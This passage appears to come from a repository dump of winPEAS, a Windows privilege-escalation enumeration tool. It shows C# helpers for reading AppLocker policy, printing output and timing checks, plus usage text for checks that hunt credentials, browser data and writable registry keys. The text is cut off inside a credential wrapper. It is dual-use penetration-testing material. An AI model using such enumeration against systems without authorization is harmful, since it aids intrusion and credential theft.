[System.SerializableAttribute()]\n    [System.ComponentModel.DesignerCategoryAttribute(\"code\")]\n    [System.Xml.Serialization.XmlTypeAttribute(AnonymousType = true)]\n    public partial class AppLockerPolicyRuleCollectionFilePublisherRuleFilePublisherConditionBinaryVersionRange\n    {\n\n        private string lowSectionField;\n\n        private string highSectionField;\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string LowSection\n        {\n            get\n            {\n                return this.lowSectionField;\n            }\n            set\n            {\n                this.lowSectionField = value;\n            }\n        }\n\n        /// <remarks/>\n        [System.Xml.Serialization.XmlAttributeAttribute()]\n        public string HighSection\n        {\n            get\n            {\n                return this.highSectionField;\n            }\n            set\n            {\n                this.highSectionField = value;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/AppLocker/IAppIdPolicyHandler.cs",
    "content": "﻿using System;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Helpers.AppLocker\n{\n    [Guid(\"B6FEA19E-32DD-4367-B5B7-2F5DA140E87D\")]\n    [TypeLibType(TypeLibTypeFlags.FDual | TypeLibTypeFlags.FNonExtensible | TypeLibTypeFlags.FDispatchable)]\n    [ComImport]\n    public interface IAppIdPolicyHandler\n    {\n        // Token: 0x06000001 RID: 1\n        [DispId(1)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);\n\n        // Token: 0x06000002 RID: 2\n        [DispId(2)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        [return: MarshalAs(UnmanagedType.BStr)]\n        string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);\n\n        // Token: 0x06000003 RID: 3\n        [DispId(3)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        [return: MarshalAs(UnmanagedType.BStr)]\n        string GetEffectivePolicy();\n\n        // Token: 0x06000004 RID: 4\n        [DispId(4)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);\n\n        // Token: 0x06000005 RID: 5\n        [DispId(5)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);\n    }\n\n    // Token: 0x02000003 RID: 3\n    [CoClass(typeof(AppIdPolicyHandlerClass))]\n    [Guid(\"B6FEA19E-32DD-4367-B5B7-2F5DA140E87D\")]\n    [ComImport]\n    public interface AppIdPolicyHandler : IAppIdPolicyHandler\n    {\n    }\n\n    // Token: 0x02000004 RID: 4\n    [Guid(\"F1ED7D4C-F863-4DE6-A1CA-7253EFDEE1F3\")]\n    [ClassInterface(ClassInterfaceType.None)]\n    [TypeLibType(TypeLibTypeFlags.FCanCreate)]\n    [ComImport]\n    public class AppIdPolicyHandlerClass : IAppIdPolicyHandler, AppIdPolicyHandler\n    {\n\n        // Token: 0x06000007 RID: 7\n        [DispId(1)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        public virtual extern void SetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath, [MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy);\n\n        // Token: 0x06000008 RID: 8\n        [DispId(2)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        [return: MarshalAs(UnmanagedType.BStr)]\n        public virtual extern string GetPolicy([MarshalAs(UnmanagedType.BStr)][In] string bstrLdapPath);\n\n        // Token: 0x06000009 RID: 9\n        [DispId(3)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        [return: MarshalAs(UnmanagedType.BStr)]\n        public virtual extern string GetEffectivePolicy();\n\n        // Token: 0x0600000A RID: 10\n        [DispId(4)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        public virtual extern int IsFileAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrFilePath, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);\n\n        // Token: 0x0600000B RID: 11\n        [DispId(5)]\n        [MethodImpl(MethodImplOptions.InternalCall)]\n        public virtual extern int IsPackageAllowed([MarshalAs(UnmanagedType.BStr)][In] string bstrXmlPolicy, [MarshalAs(UnmanagedType.BStr)][In] string bstrPublisherName, [MarshalAs(UnmanagedType.BStr)][In] string bstrPackageName, [In] ulong ullPackageVersion, [MarshalAs(UnmanagedType.BStr)][In] string bstrUserSid, out Guid pguidResponsibleRuleId);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/AppLocker/SharpAppLocker.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Text;\n\nnamespace winPEAS.Helpers.AppLocker\n{\n    // https://github.com/Flangvik/SharpAppLocker\n\n    public class SharpAppLocker\n    {\n        public enum PolicyType\n        {\n            Local,\n            Domain,\n            Effective\n        }\n\n        public static T DeserializeToObject<T>(string xmlData) where T : class\n        {\n            System.Xml.Serialization.XmlSerializer ser = new System.Xml.Serialization.XmlSerializer(typeof(T));\n\n            using (StreamReader sr = new StreamReader(new MemoryStream(Encoding.UTF8.GetBytes(xmlData))))\n            {\n                return (T)ser.Deserialize(sr);\n            }\n        }\n\n\n        public static AppLockerPolicy GetAppLockerPolicy(PolicyType policyType, string[] appLockerRuleTypes, string ldapPath = \"\", bool allowOnly = false, bool denyOnly = false)\n        {\n            // Create IAppIdPolicyHandler COM interface\n            IAppIdPolicyHandler IAppHandler = new AppIdPolicyHandlerClass();\n            string policies;\n\n            switch (policyType)\n            {\n                case PolicyType.Local:\n                case PolicyType.Domain:\n                    policies = IAppHandler.GetPolicy(ldapPath);\n                    break;\n\n                case PolicyType.Effective:\n                    policies = IAppHandler.GetEffectivePolicy();\n                    break;\n\n                default:\n                    throw new InvalidOperationException();\n            };\n\n            var objectHolder = DeserializeToObject<AppLockerPolicy>(policies);\n            AppLockerPolicy appLockerPolicyFiltered = DeserializeToObject<AppLockerPolicy>(policies);\n\n            if (objectHolder?.RuleCollection?.Count() > 0)\n            {\n                //Null them all out to empty lists\n                for (int i = 0; i < appLockerPolicyFiltered.RuleCollection.Length; i++)\n                {\n                    appLockerPolicyFiltered.RuleCollection[i].FileHashRule = new List<AppLockerPolicyRuleCollectionFileHashRule>() { };\n                    appLockerPolicyFiltered.RuleCollection[i].FilePathRule = new List<AppLockerPolicyRuleCollectionFilePathRule>() { };\n                    appLockerPolicyFiltered.RuleCollection[i].FilePublisherRule = new List<AppLockerPolicyRuleCollectionFilePublisherRule>() { };\n                }\n\n                for (int i = 0; i < objectHolder?.RuleCollection.Count(); i++)\n                {\n                    if (objectHolder?.RuleCollection[i].FilePathRule != null)\n                    {\n                        if (appLockerRuleTypes.Contains(\"All\", StringComparer.InvariantCultureIgnoreCase) ||\n                            appLockerRuleTypes.Contains(\"FilePathRule\", StringComparer.InvariantCultureIgnoreCase))\n                        {\n                            foreach (var pathRule in objectHolder?.RuleCollection[i].FilePathRule)\n                            {\n                                if (allowOnly || denyOnly)\n                                {\n                                    if (pathRule.Action.Equals(allowOnly ? \"Allow\" : \"Deny\"))\n                                    {\n                                        appLockerPolicyFiltered.RuleCollection[i].FilePathRule.Add(pathRule);\n                                    }\n                                }\n                                else\n                                {\n                                    appLockerPolicyFiltered.RuleCollection[i].FilePathRule.Add(pathRule);\n                                }\n                            }\n                        }\n                    }\n                    if (objectHolder?.RuleCollection[i].FileHashRule != null)\n                    {\n                        if (appLockerRuleTypes.Contains(\"All\", StringComparer.InvariantCultureIgnoreCase) || appLockerRuleTypes.Contains(\"FileHashRule\", StringComparer.InvariantCultureIgnoreCase))\n                        {\n                            foreach (var hashRule in objectHolder?.RuleCollection[i].FileHashRule)\n                            {\n                                if (allowOnly || denyOnly)\n                                {\n                                    if (hashRule.Action.Equals(allowOnly ? \"Allow\" : \"Deny\"))\n                                    {\n                                        appLockerPolicyFiltered.RuleCollection[i].FileHashRule.Add(hashRule);\n                                    }\n                                }\n                                else\n                                {\n                                    appLockerPolicyFiltered.RuleCollection[i].FileHashRule.Add(hashRule);\n                                }\n                            }\n                        }\n                    }\n                    if (objectHolder?.RuleCollection[i].FilePublisherRule != null)\n                    {\n                        if (appLockerRuleTypes.Contains(\"All\", StringComparer.InvariantCultureIgnoreCase) || appLockerRuleTypes.Contains(\"FilePublisherRule\", StringComparer.InvariantCultureIgnoreCase))\n                        {\n                            foreach (var pubRile in objectHolder?.RuleCollection[i].FilePublisherRule.ToArray())\n                            {\n                                if (allowOnly || denyOnly)\n                                {\n                                    if (pubRile.Action.Equals(allowOnly ? \"Allow\" : \"Deny\"))\n                                    {\n                                        appLockerPolicyFiltered.RuleCollection[i].FilePublisherRule.Add(pubRile);\n                                    }\n                                }\n                                else\n                                {\n                                    appLockerPolicyFiltered.RuleCollection[i].FilePublisherRule.Add(pubRile);\n                                }\n                            }\n                        }\n                    }\n                }\n\n                //Remove all the empty stuff\n                appLockerPolicyFiltered.RuleCollection = appLockerPolicyFiltered.RuleCollection.Where(x =>\n\n                    x.FilePublisherRule.Any() ||\n                    x.FilePathRule.Any() ||\n                    x.FileHashRule.Any()\n\n                ).ToArray();\n            }\n\n            return appLockerPolicyFiltered;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/Beaprint.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Text.RegularExpressions;\n\nnamespace winPEAS.Helpers\n{\n    internal static class Beaprint\n    {\n        public static string GRAY = \"\\x1b[1;37m\";\n        public static string DGRAY = \"\\x1b[1;90m\";\n        static string RED = \"\\x1b[1;31m\";\n        public static string LRED = \"\\x1b[1;31m\";\n        static string GREEN = \"\\x1b[1;32m\";\n        static string LGREEN = \"\\x1b[1;32m\";\n        public static string YELLOW = \"\\x1b[33m\";\n        static string LYELLOW = \"\\x1b[1;33m\";\n        static string BLUE = \"\\x1b[34m\";\n        public static string LBLUE = \"\\x1b[1;34m\";\n        static string MAGENTA = \"\\x1b[1;35m\";\n        //static string LMAGENTA = \"\\x1b[1;35m\";\n        static string CYAN = \"\\x1b[36m\";\n        static string LCYAN = \"\\x1b[1;36m\";\n        //static string REDYELLOW = \"\\x1b[31;103m\";\n        public static string NOCOLOR = \"\\x1b[0m\";\n        public static string ansi_color_bad = RED;\n        public static string ansi_color_good = GREEN;\n        public static string ansi_color_gray = GRAY;\n        public static string ansi_color_yellow = YELLOW;\n        public static string ansi_users_active = CYAN;\n        public static string ansi_users_disabled = BLUE;\n        public static string ansi_current_user = MAGENTA;\n\n        private static string Advisory =\n            \"winpeas should be used for authorized penetration testing and/or educational purposes only. \" +\n            \"Any misuse of this software will not be the responsibility of the author or of any other collaborator. \" +\n            \"Use it at your own devices and/or with the device owner's permission.\";\n\n        /////////////////////////////////\n        /////////  PRINT THINGS /////////\n        /////////////////////////////////\n        public static void PrintBanner()\n        {\n            Console.WriteLine(BLUE + string.Format(@\"     \n               {0}((((((((((((((((((((((((((((((((\n        {0}(((((((((((((((((((((((((((((((((((((((((((\n      {0}(((((((((((((({2}**********/{1}##########{0}(((((((((((((   \n    {0}(((((((((((({2}********************/{1}#######{0}(((((((((((\n    {0}(((((((({2}******************{3}/@@@@@/{0}{2}****{1}######{0}((((((((((\n    {0}(((((({2}********************{3}@@@@@@@@@@/{0}{2}***,{1}####{0}((((((((((\n    {0}((((({2}********************{3}/@@@@@%@@@@/{0}{2}********{1}##{0}(((((((((\n    {0}((({1}############{2}*********{3}/%@@@@@@@@@/{0}{2}************{0}((((((((\n    {0}(({1}##################(/{2}******{3}/@@@@@/{0}{2}***************{0}((((((\n    {0}(({1}#########################(/{2}**********************{0}(((((\n    {0}(({1}##############################(/{2}*****************{0}(((((\n    {0}(({1}###################################(/{2}************{0}(((((\n    {0}(({1}#######################################({2}*********{0}(((((\n    {0}(({1}#######(,.***.,(###################(..***.{2}*******{0}(((((\n    {0}(({1}#######*(#####((##################((######/({2}*****{0}(((((\n    {0}(({1}###################(/***********(##############({0})(((((\n    {0}((({1}#####################/*******(################{0})((((((\n    {0}(((({1}############################################{0})((((((\n    {0}((((({1}##########################################{0})(((((((\n    {0}(((((({1}########################################{0})(((((((\n    {0}(((((((({1}####################################{0})((((((((\n    {0}((((((((({1}#################################{0})(((((((((\n        {0}(((((((((({1}##########################{0})(((((((((\n              {0}((((((((((((((((((((((((((((((((((((((\n                 {0}((((((((((((((((((((((((((((((\", LGREEN, GREEN, BLUE, NOCOLOR) + NOCOLOR);\n\n            Console.WriteLine();\n            Console.WriteLine(LYELLOW + \"ADVISORY: \" + BLUE + Advisory);\n            Console.WriteLine();\n        }\n\n        public static void PrintMarketingBanner()\n        {\n            // Twitter\n\n            // Patreon link\n            Console.WriteLine(GREEN + string.Format(@\"\n       /---------------------------------------------------------------------------------\\\n       |                             {1}Do you like PEASS?{0}                                  |\n       |---------------------------------------------------------------------------------| \n       |         {3}Learn Cloud Hacking{0}       :     {2}training.hacktricks.xyz {0}                |\n       |         {3}Follow on Twitter{0}         :     {2}@hacktricks_live{0}                        |\n       |         {3}Respect on HTB{0}            :     {2}SirBroccoli            {0}                 |\n       |---------------------------------------------------------------------------------|\n       |                                 {1}Thank you!{0}                                      |\n       \\---------------------------------------------------------------------------------/\n\", GREEN, BLUE, RED, YELLOW) + NOCOLOR);\n\n        }\n\n        public static void PrintInit()\n        {\n            if (Checks.Checks.Banner)\n            {\n                PrintBanner();\n            }\n\n            Console.WriteLine(YELLOW + \"  WinPEAS-ng\" + NOCOLOR + YELLOW + \" by @hacktricks_live\" + NOCOLOR);\n\n            PrintMarketingBanner();\n\n            PrintLegend();\n            Console.WriteLine();\n            Console.WriteLine(BLUE + \" You can find a Windows local PE Checklist here: \" + YELLOW + \"https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html\");\n        }\n\n        static void PrintLegend()\n        {\n            Console.WriteLine(YELLOW + \"  [+] \" + GREEN + \"Legend:\" + NOCOLOR);\n            Console.WriteLine(RED + \"         Red\" + GRAY + \"                Indicates a special privilege over an object or something is misconfigured\" + NOCOLOR);\n            Console.WriteLine(GREEN + \"         Green\" + GRAY + \"              Indicates that some protection is enabled or something is well configured\" + NOCOLOR);\n            Console.WriteLine(CYAN + \"         Cyan\" + GRAY + \"               Indicates active users\" + NOCOLOR);\n            Console.WriteLine(BLUE + \"         Blue\" + GRAY + \"               Indicates disabled users\" + NOCOLOR);\n            Console.WriteLine(LYELLOW + \"         LightYellow\" + GRAY + \"        Indicates links\" + NOCOLOR);\n\n        }\n\n        public static void PrintUsage()\n        {\n            Console.WriteLine(YELLOW + \"  [*] \" + GREEN + \"WinPEAS is a binary to enumerate possible paths to escalate privileges locally. By default it'll run all the following checks unless otherwise specified, but you could also indicate as arguments the names of the checks to run if you only want to run a few of them.\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        domain\" + GRAY + \"               Enumerate domain information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        systeminfo\" + GRAY + \"           Search system information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        eventsinfo\" + GRAY + \"           Display interesting events information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        userinfo\" + GRAY + \"             Search user information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        processinfo\" + GRAY + \"          Search processes information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        servicesinfo\" + GRAY + \"         Search services information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        applicationsinfo\" + GRAY + \"     Search installed applications information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        networkinfo\" + GRAY + \"          Search network information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        networkscan\" + GRAY + \"          Run only the -network scan (no other NetworkInfo sub-checks)\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        activedirectoryinfo\" + GRAY + \"   Quick AD checks (gMSA readable passwords, AD CS template rights)\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        cloudinfo\" + GRAY + \"            Enumerate cloud information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        windowscreds\" + GRAY + \"         Search windows credentials\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        registryinfo\" + GRAY + \"         Flag writable HKLM/HKU keys that enable hive tampering\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        browserinfo\" + GRAY + \"          Search browser information\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        filesinfo\" + GRAY + \"            Search generic files that can contains credentials\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        fileanalysis\" + GRAY + \"         [NOT RUN BY DEFAULT] Search specific files that can contains credentials and for regexes inside files. Might take several minutes.\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        all\" + GRAY + \"                  Run all checks the previous check including fileanalysis.\" + NOCOLOR);\n            \n            Console.WriteLine();\n            Console.WriteLine(LCYAN + \"        quiet\" + GRAY + \"                Do not print banner\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        notcolor\" + GRAY + \"             Don't use ansi colors (all white)\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        mitre=T1082,T1548\" + GRAY + $\"   Only run checks matching the specified MITRE ATT&CK technique IDs (comma-separated)\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        searchpf\" + GRAY + \"             Search credentials via regex also in Program Files folders\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        wait\" + GRAY + \"                 Wait for user input between checks\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        debug\" + GRAY + \"                Display debugging information - memory usage, method execution time\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        dont-check-hostname\" + GRAY + \"  Don't check the hostname externally\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        log[=logfile]\" + GRAY + $\"        Log all output to file defined as logfile, or to \\\"{Checks.Checks.DefaultLogFile}\\\" if not specified\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        max-regex-file-size=1000000\" + GRAY + $\"        Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B\" + NOCOLOR);\n\n            Console.WriteLine();\n            Console.WriteLine(GREEN + \"        Additional checks (slower):\");\n            Console.WriteLine(LCYAN + \"        -lolbas\" + GRAY + $\"              Run additional LOLBAS check\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        -linpeas=[url]\" + GRAY + $\"       Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\\n\" +\n                                     $\"                             (default: {Checks.Checks.LinpeasUrl})\" + NOCOLOR);\n            Console.WriteLine(LCYAN + \"        -network|-ports\" + GRAY + $\"      Run additional network scanning - find network interfaces, hosts and scan nmap top 1000 TCP ports for each host found\\n\" +\n                                     $\"                             -network=\\\"auto\\\"                          -    find interfaces/hosts automatically\"  + NOCOLOR + \"\\n\" +\n                                     $\"                             -network=\\\"10.10.10.10,10.10.10.20\\\"       -    scan only selected ip address(es)\" + NOCOLOR + \"\\n\" +\n                                     $\"                             -network=\\\"10.10.10.10/24\\\"                -    scan host based on ip address/netmask\" + NOCOLOR + \"\\n\" +\n                                     $\"                             -ports=\\\"80,443,8080\\\"                     -    If a list of ports is provided, use this list instead of the nmap top 1000 TCP\" + NOCOLOR);\n\n        }\n\n\n        /////////////////////////////////\n        /// DIFFERENT PRINT FUNCTIONS ///\n        /////////////////////////////////\n        public static void GreatPrint(string toPrint, string mitreIds = null)\n        {\n            // print_title\n            Console.WriteLine();\n            Console.WriteLine();\n\n            string mitreSuffix = string.IsNullOrEmpty(mitreIds) ? \"\" : $\" {DGRAY}({mitreIds}){LCYAN}\";\n            Console.WriteLine($\"{LCYAN}════════════════════════════════════╣ {GREEN}{toPrint}{mitreSuffix}{LCYAN} ╠════════════════════════════════════{NOCOLOR}\");\n        }\n\n        public static void MainPrint(string toPrint, string mitreIds = null)\n        {\n            // print_2title\n            Console.WriteLine();\n            string mitreSuffix = string.IsNullOrEmpty(mitreIds) ? \"\" : $\" {DGRAY}({mitreIds}){NOCOLOR}\";\n            Console.WriteLine($\"{LCYAN}╔══════════╣ {GREEN}{toPrint}{mitreSuffix}{NOCOLOR}\");\n        }\n\n        public static void LinkPrint(string link, string comment = \"\")\n        {\n            // print_info\n            //Console.WriteLine(YELLOW + \"   [?] \" + LBLUE + comment + \" \" + LYELLOW + link + NOCOLOR);            \n            Console.WriteLine($\"{LCYAN}╚ {LBLUE}{comment} {LYELLOW}{link}{NOCOLOR}\");\n        }\n\n        public static void InfoPrint(string toPrint)\n        {\n            // print_info\n            //Console.WriteLine(YELLOW + \"    [i] \" + LBLUE + toPrint + NOCOLOR);\n            Console.WriteLine($\"{LCYAN}╚ {LBLUE}{toPrint}{NOCOLOR}\");\n        }\n\n        public static void NotFoundPrint()\n        {\n            GrayPrint(\"    Not Found\");\n        }\n\n        public static void GoodPrint(string to_print)\n        {\n            Console.WriteLine(GREEN + to_print + NOCOLOR);\n        }\n\n        public static void BadPrint(string to_print)\n        {\n            Console.WriteLine(RED + to_print + NOCOLOR);\n        }\n\n        public static void ColorPrint(string to_print, string color)\n        {\n            Console.WriteLine(color + to_print + NOCOLOR);\n        }\n\n        public static void GrayPrint(string to_print)\n        {\n            Console.WriteLine(DGRAY + to_print + NOCOLOR);\n        }\n\n        public static void LongPathWarning(string path)\n        {\n            if (!Checks.Checks.WarningIsLongPath)\n            {\n                GrayPrint($\"The path {path} is too large, try to enable LongPaths in the registry (no more warning about this will be shown)\");\n                Checks.Checks.WarningIsLongPath = true;\n            }\n        }\n\n        internal static void PrintDebugLine(string log)\n        {\n            Console.WriteLine(DGRAY + \"  [Debug]  \" + log + NOCOLOR);\n            Console.WriteLine();\n        }\n\n        public static void PrintLineSeparator()\n        {\n            GrayPrint(\"   =================================================================================================\");\n            Console.WriteLine();\n        }\n\n        public static void PrintException(string message)\n        {\n            GrayPrint($\"  [X] Exception: {message}\");\n        }\n\n        public static void PrintNoNL(string message)\n        {\n            Console.Write(message);\n        }\n\n        public static void AnsiPrint(string to_print, Dictionary<string, string> ansi_colors_regexp)\n        {\n            if (to_print.Trim().Length > 0)\n            {\n                foreach (string line in to_print.Split('\\n'))\n                {\n                    string new_line = line;\n                    foreach (KeyValuePair<string, string> color in ansi_colors_regexp)\n                    {\n                        new_line = Regexansi(new_line, color.Value, color.Key);\n                    }\n\n                    Console.WriteLine(new_line);\n                }\n            }\n        }\n\n        internal static void NoColorPrint(string message)\n        {\n            AnsiPrint(message, new Dictionary<string, string>());\n        }\n\n        static string Regexansi(string to_match, string color, string rgxp)\n        {\n            if (to_match.Length == 0 || color.Length == 0 || rgxp.Length == 0)\n                return to_match;\n\n            Regex regex = new Regex(rgxp);\n            foreach (Match match in regex.Matches(to_match))\n            {\n                if (match.Value.Length > 0)\n                    to_match = to_match.Replace(match.Value, NOCOLOR + color + match.Value + NOCOLOR);\n            }\n            return to_match;\n        }\n        public static void DictPrint(Dictionary<string, string> dicprint, Dictionary<string, string> ansi_colors_regexp, bool delete_nulls, bool no_gray = false)\n        {\n            foreach (KeyValuePair<string, string> entry in dicprint)\n            {\n                if (delete_nulls && (entry.Value == null || string.IsNullOrEmpty(entry.Value.Trim())))\n                {\n                    continue;\n                }\n\n                string value = entry.Value;\n                string key = entry.Key;\n                string line;\n                if (!no_gray)\n                {\n                    line = ansi_color_gray + \"    \" + key + \": \" + NOCOLOR + value;\n                }\n                else\n                {\n                    line = \"    \" + key + \": \" + value;\n                }\n\n                foreach (KeyValuePair<string, string> color in ansi_colors_regexp)\n                {\n                    line = Regexansi(line, color.Value, color.Key);\n                }\n\n                Console.WriteLine(line);\n            }\n        }\n\n        public static void DictPrint(Dictionary<string, string> dicprint, bool delete_nulls)\n        {\n            if (dicprint.Count > 0)\n            {\n                foreach (KeyValuePair<string, string> entry in dicprint)\n                {\n                    if (delete_nulls && string.IsNullOrEmpty(entry.Value))\n                    {\n                        continue;\n                    }\n                    Console.WriteLine(ansi_color_gray + \"    \" + entry.Key + \": \" + NOCOLOR + entry.Value);\n                }\n            }\n            else\n            {\n                NotFoundPrint();\n            }\n        }\n\n        public static void DictPrint(List<Dictionary<string, string>> listdicprint, bool delete_nulls)\n        {\n            if (listdicprint.Count > 0)\n            {\n                foreach (Dictionary<string, string> dicprint in listdicprint)\n                {\n                    DictPrint(dicprint, delete_nulls);\n                    PrintLineSeparator();\n                }\n            }\n            else\n            {\n                NotFoundPrint();\n            }\n        }\n\n        public static void DictPrint(Dictionary<string, object> dicprint, bool delete_nulls)\n        {\n\n            if (dicprint != null)\n            {\n                Dictionary<string, string> results = new Dictionary<string, string>();\n                foreach (KeyValuePair<string, object> entry in dicprint)\n                {\n                    results[entry.Key] = string.Format(\"{0}\", entry.Value);\n                }\n\n                DictPrint(results, delete_nulls);\n            }\n            else\n            {\n                NotFoundPrint();\n            }\n        }\n\n        public static void DictPrint(List<Dictionary<string, string>> listdicprint, Dictionary<string, string> colors, bool delete_nulls, bool no_gray = false)\n        {\n            if (listdicprint.Count > 0)\n            {\n                foreach (Dictionary<string, string> dicprint in listdicprint)\n                {\n                    DictPrint(dicprint, colors, delete_nulls, no_gray);\n                    PrintLineSeparator();\n                }\n            }\n            else\n            {\n                NotFoundPrint();\n            }\n        }\n\n        public static void ListPrint(List<string> list_to_print)\n        {\n            if (list_to_print.Count > 0)\n            {\n                foreach (string elem in list_to_print)\n                {\n                    Console.WriteLine(\"    \" + elem);\n                    // printf ${BLUE}\"═╣ \"$GREEN\"$1\"$NC #There is 1 \"═\"\n                }\n            }\n            else\n            {\n                NotFoundPrint();\n            }\n        }\n\n        public static void ListPrint(List<string> list_to_print, Dictionary<string, string> dic_colors)\n        {\n            if (list_to_print.Count > 0)\n            {\n                foreach (string elem in list_to_print)\n                {\n                    AnsiPrint(\"    \" + elem, dic_colors);\n                }\n            }\n            else\n            {\n                NotFoundPrint();\n            }\n        }\n\n\n        //////////////////////////////////\n        /// Delete Colors (nocolor) :( ///\n        /// //////////////////////////////\n        public static void DeleteColors()\n        {\n            GRAY = \"\";\n            RED = \"\";\n            LRED = \"\";\n            GREEN = \"\";\n            LGREEN = \"\";\n            YELLOW = \"\";\n            LYELLOW = \"\";\n            BLUE = \"\";\n            LBLUE = \"\";\n            MAGENTA = \"\";\n            //LMAGENTA = \"\";\n            CYAN = \"\";\n            LCYAN = \"\";\n            //REDYELLOW = \"\";\n            NOCOLOR = \"\";\n            ansi_color_bad = \"\";\n            ansi_color_good = \"\";\n            ansi_color_gray = \"\";\n            ansi_color_yellow = \"\";\n            ansi_users_active = \"\";\n            ansi_users_disabled = \"\";\n            ansi_current_user = \"\";\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/CheckRunner.cs",
    "content": "﻿using System;\nusing System.Diagnostics;\n\nnamespace winPEAS.Helpers\n{\n    internal static class CheckRunner\n    {\n        public static void Run(Action action, bool isDebug, string description = null)\n        {\n            if (!isDebug)\n            {\n                action();\n            }\n            else\n            {\n                var timer = new Stopwatch();\n\n                timer.Start();\n                action();\n                timer.Stop();\n\n                TimeSpan timeTaken = timer.Elapsed;\n                string descriptionText = string.IsNullOrEmpty(description) ? string.Empty : $\"[{description}] \";\n                string log = $\"{descriptionText}Execution took : {timeTaken.Minutes:00}m:{timeTaken.Seconds:00}s:{timeTaken.Milliseconds:000}\";\n\n                Beaprint.PrintDebugLine(log);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Helpers/CredentialManager/Credential.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.Permissions;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Helpers.CredentialManager\n{\n    /// <summary>\n    ///     Class Credential, wrapper for native CREDENTIAL structure.\n    ///     See CREDENTIAL structure\n    ///     <see href=\"http://msdn.microsoft.com/en-us/library/windows/desktop/aa374788(v=vs.85).aspx\">documentation.</see>\n    ///     See Credential Manager\n    ///     <see href=\"http://windows.microsoft.com/en-us/windows7/what-is-credential-manager\">documentation.</see>\n    /// </summary>\n    internal class Credential : IDisposable\n    {\n        /// <summary>\n        ///     The lock object\n        /// </summary>\n        private static readonly object LockObject = new object();\n\n        /// <summary>\n        ///     The unmanaged code permission\n        /// </summary>\n        private static readonly SecurityPermission UnmanagedCodePermission;\n\n        /// <summary>\n        ///     The credential description\n        /// </summary>\n        private string description;\n\n        /// <summary>\n        ///     The disposed flag\n        /// </summary>\n        private bool disposed;\n\n        /// <summary>\n        ///     The last write time\n        /// </summary>\n        private DateTime lastWriteTime;\n\n        /// <summary>\n        ///     The password\n        /// </summary>\n        private SecureString password;\n\n        /// <summary>\n        ///     The persistence type\n        /// </summary>\n        private PersistenceType persistenceType;\n\n        /// <summary>\n        ///     The string that contains the name of the credential\n        /// </summary>\n        private string target;\n\n        /// <summary>\n        ///     The credential type\n        /// </summary>\n        private CredentialType type;\n\n        /// 